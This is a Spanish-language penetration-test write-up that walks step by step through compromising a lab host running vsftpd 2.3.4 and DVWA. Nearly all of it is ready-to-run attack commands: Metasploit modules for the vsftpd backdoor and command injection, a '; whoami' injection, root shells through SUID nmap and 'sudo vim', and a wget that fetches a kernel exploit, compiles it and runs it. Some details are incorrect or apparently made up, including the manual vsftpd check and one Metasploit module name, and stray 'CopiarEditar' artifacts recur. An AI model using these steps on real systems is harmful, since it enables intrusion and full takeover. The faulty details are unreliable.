INFORME DE EXPLOTACIÓN DE VULNERABILIDADES Y ESCALACIÓN DE PRIVILEGIOS

Objetivo: Identificar y explotar vulnerabilidades en la máquina con IP **10.0.2.15**, obteniendo acceso y escalando privilegios a root.

PASO 1: RECOLECCIÓN DE INFORMACIÓN

Antes de explotar una vulnerabilidad, realizamos una fase de reconocimiento para identificar la estructura y servicios de la máquina objetivo.

1.1 Escaneo de Puertos con Nmap

Ejecutamos un escaneo exhaustivo para detectar puertos abiertos y servicios en ejecución:

```
bash
CopiarEditar
nmap -sC -sV -Pn -A -p- 10.0.2.15
```

Opciones utilizadas:

- `-p-` → Escanea todos los puertos (0-65535).
- `-sC` → Usa scripts de reconocimiento predefinidos.
- `-sV` → Obtiene versiones de los servicios.
- `-Pn` → Evita detección de ping (en caso de firewall).
- `-A` → Activa detección de SO y traceroute.

Ejemplo de resultado:

```
pgsql
CopiarEditar
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 7.2p2 (Ubuntu)
80/tcp   open  http        Apache 2.4.18
```

1.2 Enumeración de Servicios

Ahora analizamos cada servicio en busca de vulnerabilidades.

FTP - vsftpd 2.3.4

```
bash
CopiarEditar
ftp 10.0.2.15
```

- Si permite acceso anónimo (`anonymous`), podemos buscar archivos sensibles.
- `vsftpd 2.3.4` es vulnerable a una **backdoor remota**.

HTTP - Apache 2.4.18

```
bash
CopiarEditar
gobuster dir -u http://10.0.2.15 -w
/usr/share/wordlists/dirb/common.txt
```

Esto busca directorios ocultos que puedan contener información o vulnerabilidades.

Si se encuentra **DVWA**, podemos probar inyección de comandos.

PASO 2: IDENTIFICACIÓN DE VULNERABILIDADES

Una vez identificados los servicios, verificamos vulnerabilidades específicas.

2.1 Escaneo de Vulnerabilidades con Nmap

```
bash
CopiarEditar
nmap --script vuln 10.0.2.15
```

Si `nmap` encuentra vulnerabilidades en FTP, Apache o DVWA, podemos explotarlas.

2.2 Identificación Manual de Vulnerabilidades

- **FTP vsftpd 2.3.4** → Vulnerable a una backdoor remota.
- **Apache 2.4.18** → Posible acceso a archivos sensibles.
- **DVWA** → Permite pruebas de inyección de comandos.

PASO 3: EXPLOTACIÓN DE VULNERABILIDADES

3.1 Explotación de vsftpd 2.3.4 (FTP)

Usamos Metasploit para aprovechar la backdoor en vsftpd:

```
bash
CopiarEditar
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 10.0.2.15
run
```

Si la explotación es exitosa, obtenemos una shell remota.

Alternativa sin Metasploit

Si preferimos explotarlo manualmente:

```
bash
CopiarEditar
nc -nv 10.0.2.15 21
```

Si responde con `:)`, significa que la backdoor está activa y podemos obtener una shell remota.

3.2 Explotación de Command Injection en DVWA

Si se encuentra DVWA en el puerto 80, intentamos inyección de comandos manualmente.

1. Accedemos a `http://10.0.2.15/dvwa/vulnerabilities/exec/`
2. Probamos con:

   ```
   bash
   CopiarEditar
   ; whoami
   ```

   Si devuelve `www-data`, la inyección es posible.

Explotación con Metasploit

```
bash
CopiarEditar
msfconsole
use exploit/unix/webapp/dvwa_command_injection
set RHOST 10.0.2.15
set RPORT 80
set TARGETURI /dvwa/vulnerabilities/exec/
run
```

Si es exitoso, obtenemos acceso como usuario web (`www-data`).

PASO 4: ESCALACIÓN DE PRIVILEGIOS

Una vez dentro de la máquina, buscamos formas de escalar privilegios.

4.1 Enumeración de Privilegios

```
bash
CopiarEditar
whoami
id
sudo -l
find / -perm -4000 2>/dev/null
```

Esto nos ayuda a identificar posibles exploits.

4.2 Escalación con Nmap (si tiene SUID)

Si `nmap` tiene el bit SUID activo (`-rwsr-xr-x`), lo usamos para obtener una shell root:

```
bash
CopiarEditar
nmap --interactive
!sh
```

Ahora tenemos acceso root.

4.3 Escalación con sudo y Vim

Si `sudo -l` muestra que podemos usar `vim` con privilegios elevados:

```
bash
CopiarEditar
sudo vim -c '!sh'
```

Esto nos da acceso root instantáneamente.

4.4 Explotación de Kernel (Si no hay métodos más simples)

Si no encontramos vulnerabilidades en sudo, intentamos un exploit de kernel:

```
bash
CopiarEditar
searchsploit Linux Kernel 4.4
```

Descargamos un exploit compatible:

```
bash
CopiarEditar
wget https://www.exploit-db.com/exploits/41458.c -O exploit.c
gcc exploit.c -o exploit
./exploit
```

Si tiene éxito, obtenemos root.

CONCLUSIONES

1. Se realizó un escaneo detallado con `nmap` y `gobuster`.
2. Se identificaron vulnerabilidades en FTP (`vsftpd 2.3.4`) y DVWA.
3. Se explotaron con Metasploit y técnicas manuales.
4. Se escaló privilegios mediante `nmap SUID` y `vim sudo`.
5. Se obtuvo control total de la máquina objetivo.